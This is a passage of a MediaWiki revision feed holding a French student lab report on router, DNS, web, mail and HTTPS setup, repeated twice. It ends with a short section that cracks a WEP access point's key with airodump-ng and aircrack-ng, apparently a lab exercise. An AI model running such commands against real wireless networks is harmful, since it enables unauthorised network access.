  ip address 193.48.57.190 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI131&lt;br /&gt;
  ip address 192.168.222.9 255.255.255.248&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Les bridge-domains de 20 à 26 sont utilisés pour les VLAN correspondant à chaque utilisateur tandis que le BDI 31 est utilisé pour la communication avec le routeur de l&amp;#039;école.&lt;br /&gt;
&lt;br /&gt;
=== OSPF ===&lt;br /&gt;
&lt;br /&gt;
Le protocole OSPF (Open Shortest Path First) nous permet de partager nos tables de routage entre notre routeur et le routeur de l&amp;#039;école (192.168.222.8).&lt;br /&gt;
&lt;br /&gt;
 router ospf 1&lt;br /&gt;
  router-id 10.60.20.1&lt;br /&gt;
  summary-address 10.60.20.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.21.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.22.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.23.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.24.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.25.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.26.0 255.255.255.0&lt;br /&gt;
  summary-address 193.48.57.176 255.255.255.240&lt;br /&gt;
  redistribute connected subnets&lt;br /&gt;
  redistribute static subnets route-map ospf&lt;br /&gt;
  network 192.168.222.8 0.0.0.7 area 2&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Xen ==&lt;br /&gt;
=== Proxy ===&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir installer le proxy, nous devons configurer le proxy pour que APT puisse accéder à internet:&lt;br /&gt;
&lt;br /&gt;
 $ echo &amp;#039;Acquire::http::Proxy &amp;quot;http://helfaut.escaut.net:3128&amp;quot;;&amp;#039; &amp;gt; /etc/apt/apt.conf.d/01proxy&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Apache2 ===&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install apache2&lt;br /&gt;
&lt;br /&gt;
On peut ensuite accéder à [http://193.48.57.182] pour visualiser &amp;quot;Apache2 Debian Default Page...&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Bind9 ===&lt;br /&gt;
&lt;br /&gt;
Une fois le nom de domaine acheté (unic0rn.pw) et configuré sur Gandi, il nous faut configurer bind9.&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
On commence par ajouter le DNS secondaire ns6.gandi.net:&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/bind/named.conf.options&lt;br /&gt;
     &lt;br /&gt;
 ...       &lt;br /&gt;
     allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
   &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut définir notre nom de domaine comme une zone:&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/bind/named.conf.local&lt;br /&gt;
  &lt;br /&gt;
 zone &amp;quot;unic0rn.pw&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;/etc/bind/unic0rn.pw&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour enfin écrire la configuration DNS associé à notre domaine et à ses sous-domaines:&lt;br /&gt;
&lt;br /&gt;
 # cat unic0rn.pw&lt;br /&gt;
  &lt;br /&gt;
 $TTL 259200&lt;br /&gt;
  &lt;br /&gt;
 @ IN SOA dns.unic0rn.pw. admin.unic0rn.pw. (&lt;br /&gt;
          10       ; Version&lt;br /&gt;
          7200             ; Refresh (2h)&lt;br /&gt;
          3600             ; Retry   (1h)&lt;br /&gt;
          1209600          ; Expire (14j)&lt;br /&gt;
          259200 )         ; Minimum TTL (3j)&lt;br /&gt;
   IN NS dns.unic0rn.pw.&lt;br /&gt;
   IN NS ns6.gandi.net.&lt;br /&gt;
   IN MX 100 dns.unic0rn.pw.&lt;br /&gt;
   IN A  193.48.57.182&lt;br /&gt;
 &lt;br /&gt;
 www	IN A       193.48.57.182&lt;br /&gt;
 dns	IN A       193.48.57.182&lt;br /&gt;
&lt;br /&gt;
On peut alors vérifier que tout fonctionne:&lt;br /&gt;
&lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
 $ host unic0rn.pw&lt;br /&gt;
  &lt;br /&gt;
   Using domain server:&lt;br /&gt;
   Name: 127.0.0.1&lt;br /&gt;
   Address: 127.0.0.1#53&lt;br /&gt;
   Aliases: &lt;br /&gt;
     &lt;br /&gt;
   unic0rn.pw has address 193.48.57.182&lt;br /&gt;
   unic0rn.pw mail is handled by 100 dns.unic0rn.pw.&lt;br /&gt;
  &lt;br /&gt;
 $ curl unic0rn.pw | less&lt;br /&gt;
   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current&lt;br /&gt;
                                     Dload  Upload   Total   Spent    Left  Speed&lt;br /&gt;
   100 14286    0 14286    0     0   638k      0 --:--:-- --:--:-- --:--:--  664k&lt;br /&gt;
   &amp;lt;!DOCTYPE html&amp;gt;...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sécurité ===&lt;br /&gt;
&lt;br /&gt;
On a tenté du bruteforce sur mon login root SSH le soir même de l&amp;#039;installation de mon nom de domaine. Bien que l&amp;#039;on ne puisse pas se connecter en root via ma configuration, j&amp;#039;ai tout de même ajouté fail2ban:&lt;br /&gt;
&lt;br /&gt;
 # apt-get install fail2ban&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
&lt;br /&gt;
Tout d&amp;#039;abord, il a fallu généré un certificat SSL. J&amp;#039;ai décidé de prendre un SHA-1 pour garder la compatibilité entre les navigateurs même si on devrait plutôt prendre un certificat SHA-2 pour une mise en production.&lt;br /&gt;
&lt;br /&gt;
 $ openssl req -nodes -newkey rsa:2048 -sha1 -keyout monserveur.key -out serveur.csr&lt;br /&gt;
&lt;br /&gt;
Il faut alors coller la clé dans l&amp;#039;interface de Gandi afin d&amp;#039;obtenir notre certificat.&lt;br /&gt;
&lt;br /&gt;
Pour ensuite installer notre certificat, il faut activer la librairie SSL dans apache2:&lt;br /&gt;
&lt;br /&gt;
 # a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Et vérifier que apache2 écoute bien sur le port SSL/TLS dans /etc/apache2/ports.conf:&lt;br /&gt;
&lt;br /&gt;
 Listen 80&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
 	Listen 443&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
 	 Listen 443&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour activer le certificat, j&amp;#039;ai choisis la méthode de vérification qui consiste a créer un document sur notre serveur web. Ceci dans le but que Gandi (ou Comodo) puisse vérifier que le serveur pointé par le nom de domaine nous appartient bien.&lt;br /&gt;
Une fois notre certificat généré, il faut l&amp;#039;installer sur le serveur:&lt;br /&gt;
&lt;br /&gt;
 $ cp unic0rn.pw.crt /etc/ssl/certs/&lt;br /&gt;
 $ cp monserveur.key /etc/ssl/private/unic0rn.pw.key&lt;br /&gt;
 $ cp GandiStandardSSLCA2.pem /etc/ssl/certs/&lt;br /&gt;
 $ c_rehash /etc/ssl/certs &lt;br /&gt;
 &lt;br /&gt;
Puis modifier la configuration d&amp;#039;apache2:&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/apache2/sites-enabled/000-default.conf&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
         ServerName www.unic0rn.pw&lt;br /&gt;
         ServerAlias unic0rn.pw&lt;br /&gt;
         DocumentRoot /var/www/html&lt;br /&gt;
         CustomLog /var/log/apache2/secure_access.log combined  &lt;br /&gt;
 &lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /etc/ssl/certs/unic0rn.pw.crt&lt;br /&gt;
         SSLCertificateKeyFile /etc/ssl/private/unic0rn.pw.key&lt;br /&gt;
         SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
         SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on peut ensuite accéder à https://unic0rn.pw !&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
[[File:Magic.gif]]&lt;br /&gt;
&lt;br /&gt;
=== Serveur email ===&lt;br /&gt;
&lt;br /&gt;
Le nom de domaine a un email de configuré (admin@unic0rn.pw), nous devons donc s&amp;#039;arranger pour recevoir les emails. On installe donc un serveur d&amp;#039;email:&lt;br /&gt;
&lt;br /&gt;
 # apt-get install postfix&lt;br /&gt;
 # echo &amp;quot;admin: root&amp;quot; &amp;gt;&amp;gt; /etc/aliases&lt;br /&gt;
&lt;br /&gt;
On envoie un email et on vérifie les emails:&lt;br /&gt;
&lt;br /&gt;
 # mail&lt;br /&gt;
&lt;br /&gt;
== Attaque du WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par activer le mode promicious de la carte wifi:&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On liste les points d&amp;#039;accès pour trouver une cible:&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
J&amp;#039;ai décidé ici d&amp;#039;attaquer &amp;quot;cracotte01&amp;quot; (canal 10) qui est un point d&amp;#039;accès configuré en WEP. On commence donc par récupérer les paquets transitants par ce point d&amp;#039;accès:&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -w out -c 10 -essid cracotte01 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Heureusement pour nous, quelqu&amp;#039;un est déjà connecté dessus et génére beaucoup de paquets. On arrive rapidement à 200.000 paquets et on peut donc lancer le crack de la clé WEP:&lt;br /&gt;
&lt;br /&gt;
 # aircrack-ng out-01.pcap&lt;br /&gt;
 &lt;br /&gt;
  KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:E4 ]&lt;/div&gt;</summary>
		<author><name>Dfourny</name></author>
	</entry>
	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35415</id>
		<title>TP sysres IMA2a5 2016/2017 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35415"/>
		<updated>2016-11-25T11:31:34Z</updated>

		<summary type="html">&lt;p&gt;Dfourny : /* Attaque du WiFi */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;              \&lt;br /&gt;
               \&lt;br /&gt;
                \\&lt;br /&gt;
                 \\&lt;br /&gt;
                  &amp;gt;\/7&lt;br /&gt;
              _.-(6&amp;#039;  \&lt;br /&gt;
             (=___._/` \&lt;br /&gt;
                  )  \ |&lt;br /&gt;
                 /   / |&lt;br /&gt;
                /    &amp;gt; /&lt;br /&gt;
               j    &amp;lt; _\&lt;br /&gt;
           _.-&amp;#039; :      ``.&lt;br /&gt;
           \ r=._\        `.&lt;br /&gt;
          &amp;lt;`\\_  \         .`-.&lt;br /&gt;
           \ r-7  `-. ._  &amp;#039; .  `\&lt;br /&gt;
            \`,      `-.`7  7)   )&lt;br /&gt;
             \/         \|  \&amp;#039;  / `-._&lt;br /&gt;
                        ||    .&amp;#039;&lt;br /&gt;
                         \\  (&lt;br /&gt;
    unic0rn.pw           &amp;gt;\  &amp;gt;&lt;br /&gt;
                      ,.-&amp;#039; &amp;gt;.&amp;#039;&lt;br /&gt;
                     &amp;lt;.&amp;#039;_.&amp;#039;&amp;#039;&lt;br /&gt;
                       &amp;lt;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
== Plages d&amp;#039;IP ==&lt;br /&gt;
&lt;br /&gt;
   VLAN  |      Réseau     | Prénom  |   Xen    |      IP Xen       &lt;br /&gt;
  --------------------------------------------------------------&lt;br /&gt;
  VLAN20   10.60.20.0/24     Dimitri   Vald       193.48.57.182/28&lt;br /&gt;
  VLAN21   10.60.21.0/24     Nabil     Pnl        193.48.57.177/28&lt;br /&gt;
  VLAN22   10.60.22.0/24     Otmane    Lartiste   193.48.57.178/28&lt;br /&gt;
  VLAN23   10.60.23.0/24     Hugo      Gradur     193.48.57.179/28&lt;br /&gt;
  VLAN24   10.60.24.0/24     Clement   Gringe     193.48.57.180/28&lt;br /&gt;
  VLAN25   10.60.25.0/24     Joan      Orelsan    193.48.57.181/28&lt;br /&gt;
  VLAN26   193.48.57.176/28  Xen&lt;br /&gt;
&lt;br /&gt;
Routeur de Dimitri:&lt;br /&gt;
* 10.60.2?.1&lt;br /&gt;
* 193.48.57.190&lt;br /&gt;
* 192.168.222.9&lt;br /&gt;
&lt;br /&gt;
Routeur de Nabil:&lt;br /&gt;
* 10.60.2?.2&lt;br /&gt;
* 193.48.57.189&lt;br /&gt;
* 192.168.222.10&lt;br /&gt;
&lt;br /&gt;
==  Configuration du routeur ==&lt;br /&gt;
=== Version ===&lt;br /&gt;
&lt;br /&gt;
Je travaille actuellement sur une nouvelle version de IOS basé sur un Linux:&lt;br /&gt;
&lt;br /&gt;
 Cisco IOS XE Software, Version 03.13.04.S - Extended Support Release&lt;br /&gt;
 Cisco IOS Software, ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 15.4(3)S4, RELEASE SOFTWARE (fc3)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Ports ===&lt;br /&gt;
&lt;br /&gt;
Les ports GigabitEthernet0/0/0 et GigabitEthernet0/0/1 ont exactement la même configuration puisque ce sont deux commutateurs qui seront branchés à ses ports.&lt;br /&gt;
&lt;br /&gt;
 interface GigabitEthernet0/0/0&lt;br /&gt;
  no ip address&lt;br /&gt;
  media-type sfp&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
 interface GigabitEthernet0/0/1&lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Ils sont configurés pour utiliser les bridges-domains suivant:&lt;br /&gt;
&lt;br /&gt;
 interface BDI20&lt;br /&gt;
  ip address 10.60.20.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI21&lt;br /&gt;
  ip address 10.60.21.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI22&lt;br /&gt;
  ip address 10.60.22.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI23&lt;br /&gt;
  ip address 10.60.23.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI24&lt;br /&gt;
  ip address 10.60.24.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI25&lt;br /&gt;
  ip address 10.60.25.1 255.255.255.240&lt;br /&gt;
 !         &lt;br /&gt;
 interface BDI26&lt;br /&gt;
  ip address 193.48.57.190 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI131&lt;br /&gt;
  ip address 192.168.222.9 255.255.255.248&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Les bridge-domains de 20 à 26 sont utilisés pour les VLAN correspondant à chaque utilisateur tandis que le BDI 31 est utilisé pour la communication avec le routeur de l&amp;#039;école.&lt;br /&gt;
&lt;br /&gt;
=== OSPF ===&lt;br /&gt;
&lt;br /&gt;
Le protocole OSPF (Open Shortest Path First) nous permet de partager nos tables de routage entre notre routeur et le routeur de l&amp;#039;école (192.168.222.8).&lt;br /&gt;
&lt;br /&gt;
 router ospf 1&lt;br /&gt;
  router-id 10.60.20.1&lt;br /&gt;
  summary-address 10.60.20.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.21.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.22.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.23.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.24.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.25.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.26.0 255.255.255.0&lt;br /&gt;
  summary-address 193.48.57.176 255.255.255.240&lt;br /&gt;
  redistribute connected subnets&lt;br /&gt;
  redistribute static subnets route-map ospf&lt;br /&gt;
  network 192.168.222.8 0.0.0.7 area 2&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Xen ==&lt;br /&gt;
=== Proxy ===&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir installer le proxy, nous devons configurer le proxy pour que APT puisse accéder à internet:&lt;br /&gt;
&lt;br /&gt;
 $ echo &amp;#039;Acquire::http::Proxy &amp;quot;http://helfaut.escaut.net:3128&amp;quot;;&amp;#039; &amp;gt; /etc/apt/apt.conf.d/01proxy&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Apache2 ===&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install apache2&lt;br /&gt;
&lt;br /&gt;
On peut ensuite accéder à [http://193.48.57.182] pour visualiser &amp;quot;Apache2 Debian Default Page...&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Bind9 ===&lt;br /&gt;
&lt;br /&gt;
Une fois le nom de domaine acheté (unic0rn.pw) et configuré sur Gandi, il nous faut configurer bind9.&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
On commence par ajouter le DNS secondaire ns6.gandi.net:&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/bind/named.conf.options&lt;br /&gt;
     &lt;br /&gt;
 ...       &lt;br /&gt;
     allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
   &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut définir notre nom de domaine comme une zone:&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/bind/named.conf.local&lt;br /&gt;
  &lt;br /&gt;
 zone &amp;quot;unic0rn.pw&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;/etc/bind/unic0rn.pw&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour enfin écrire la configuration DNS associé à notre domaine et à ses sous-domaines:&lt;br /&gt;
&lt;br /&gt;
 # cat unic0rn.pw&lt;br /&gt;
  &lt;br /&gt;
 $TTL 259200&lt;br /&gt;
  &lt;br /&gt;
 @ IN SOA dns.unic0rn.pw. admin.unic0rn.pw. (&lt;br /&gt;
          10       ; Version&lt;br /&gt;
          7200             ; Refresh (2h)&lt;br /&gt;
          3600             ; Retry   (1h)&lt;br /&gt;
          1209600          ; Expire (14j)&lt;br /&gt;
          259200 )         ; Minimum TTL (3j)&lt;br /&gt;
   IN NS dns.unic0rn.pw.&lt;br /&gt;
   IN NS ns6.gandi.net.&lt;br /&gt;
   IN MX 100 dns.unic0rn.pw.&lt;br /&gt;
   IN A  193.48.57.182&lt;br /&gt;
 &lt;br /&gt;
 www	IN A       193.48.57.182&lt;br /&gt;
 dns	IN A       193.48.57.182&lt;br /&gt;
&lt;br /&gt;
On peut alors vérifier que tout fonctionne:&lt;br /&gt;
&lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
 $ host unic0rn.pw&lt;br /&gt;
  &lt;br /&gt;
   Using domain server:&lt;br /&gt;
   Name: 127.0.0.1&lt;br /&gt;
   Address: 127.0.0.1#53&lt;br /&gt;
   Aliases: &lt;br /&gt;
     &lt;br /&gt;
   unic0rn.pw has address 193.48.57.182&lt;br /&gt;
   unic0rn.pw mail is handled by 100 dns.unic0rn.pw.&lt;br /&gt;
  &lt;br /&gt;
 $ curl unic0rn.pw | less&lt;br /&gt;
   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current&lt;br /&gt;
                                     Dload  Upload   Total   Spent    Left  Speed&lt;br /&gt;
   100 14286    0 14286    0     0   638k      0 --:--:-- --:--:-- --:--:--  664k&lt;br /&gt;
   &amp;lt;!DOCTYPE html&amp;gt;...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sécurité ===&lt;br /&gt;
&lt;br /&gt;
On a tenté du bruteforce sur mon login root SSH le soir même de l&amp;#039;installation de mon nom de domaine. Bien que l&amp;#039;on ne puisse pas se connecter en root via ma configuration, j&amp;#039;ai tout de même ajouté fail2ban:&lt;br /&gt;
&lt;br /&gt;
 # apt-get install fail2ban&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
&lt;br /&gt;
Tout d&amp;#039;abord, il a fallu généré un certificat SSL. J&amp;#039;ai décidé de prendre un SHA-1 pour garder la compatibilité entre les navigateurs même si on devrait plutôt prendre un certificat SHA-2 pour une mise en production.&lt;br /&gt;
&lt;br /&gt;
 $ openssl req -nodes -newkey rsa:2048 -sha1 -keyout monserveur.key -out serveur.csr&lt;br /&gt;
&lt;br /&gt;
Il faut alors coller la clé dans l&amp;#039;interface de Gandi afin d&amp;#039;obtenir notre certificat.&lt;br /&gt;
&lt;br /&gt;
Pour ensuite installer notre certificat, il faut activer la librairie SSL dans apache2:&lt;br /&gt;
&lt;br /&gt;
 # a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Et vérifier que apache2 écoute bien sur le port SSL/TLS dans /etc/apache2/ports.conf:&lt;br /&gt;
&lt;br /&gt;
 Listen 80&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
 	Listen 443&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
 	 Listen 443&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour activer le certificat, j&amp;#039;ai choisis la méthode de vérification qui consiste a créer un document sur notre serveur web. Ceci dans le but que Gandi (ou Comodo) puisse vérifier que le serveur pointé par le nom de domaine nous appartient bien.&lt;br /&gt;
Une fois notre certificat généré, il faut l&amp;#039;installer sur le serveur:&lt;br /&gt;
&lt;br /&gt;
 $ cp unic0rn.pw.crt /etc/ssl/certs/&lt;br /&gt;
 $ cp monserveur.key /etc/ssl/private/unic0rn.pw.key&lt;br /&gt;
 $ cp GandiStandardSSLCA2.pem /etc/ssl/certs/&lt;br /&gt;
 $ c_rehash /etc/ssl/certs &lt;br /&gt;
 &lt;br /&gt;
Puis modifier la configuration d&amp;#039;apache2:&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/apache2/sites-enabled/000-default.conf&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
         ServerName www.unic0rn.pw&lt;br /&gt;
         ServerAlias unic0rn.pw&lt;br /&gt;
         DocumentRoot /var/www/html&lt;br /&gt;
         CustomLog /var/log/apache2/secure_access.log combined  &lt;br /&gt;
 &lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /etc/ssl/certs/unic0rn.pw.crt&lt;br /&gt;
         SSLCertificateKeyFile /etc/ssl/private/unic0rn.pw.key&lt;br /&gt;
         SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
         SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on peut ensuite accéder à https://unic0rn.pw !&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
[[File:Magic.gif]]&lt;br /&gt;
&lt;br /&gt;
=== Serveur email ===&lt;br /&gt;
&lt;br /&gt;
Le nom de domaine a un email de configuré (admin@unic0rn.pw), nous devons donc s&amp;#039;arranger pour recevoir les emails. On installe donc un serveur d&amp;#039;email:&lt;br /&gt;
&lt;br /&gt;
 # apt-get install postfix&lt;br /&gt;
 # echo &amp;quot;admin: root&amp;quot; &amp;gt;&amp;gt; /etc/aliases&lt;br /&gt;
&lt;br /&gt;
On envoie un email et on vérifie les emails:&lt;br /&gt;
&lt;br /&gt;
 # mail&lt;br /&gt;
&lt;br /&gt;
== Attaque du WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par active le mode promicious de la carte wifi:&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On liste les points d&amp;#039;accès pour trouver une cible:&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
J&amp;#039;ai décidé ici d&amp;#039;attaquer &amp;quot;cracotte01&amp;quot; (canal 10) qui est un point d&amp;#039;accès configuré en WEP. On commence donc par récupérer les paquets transitants par ce point d&amp;#039;accès:&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -w out -c 10 -essid cracotte01 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Heureusement pour nous, quelqu&amp;#039;un est déjà connecté dessus et génére beaucoup de paquets. On arrive rapidement à 200.000 paquets et on peut donc lancer le crack de la clé WEP:&lt;br /&gt;
&lt;br /&gt;
 # aircrack-ng out-01.pcap&lt;br /&gt;
 &lt;br /&gt;
  KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:E4 ]&lt;/div&gt;</summary>
		<author><name>Dfourny</name></author>
	</entry>
	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35414</id>
		<title>TP sysres IMA2a5 2016/2017 G1</title>
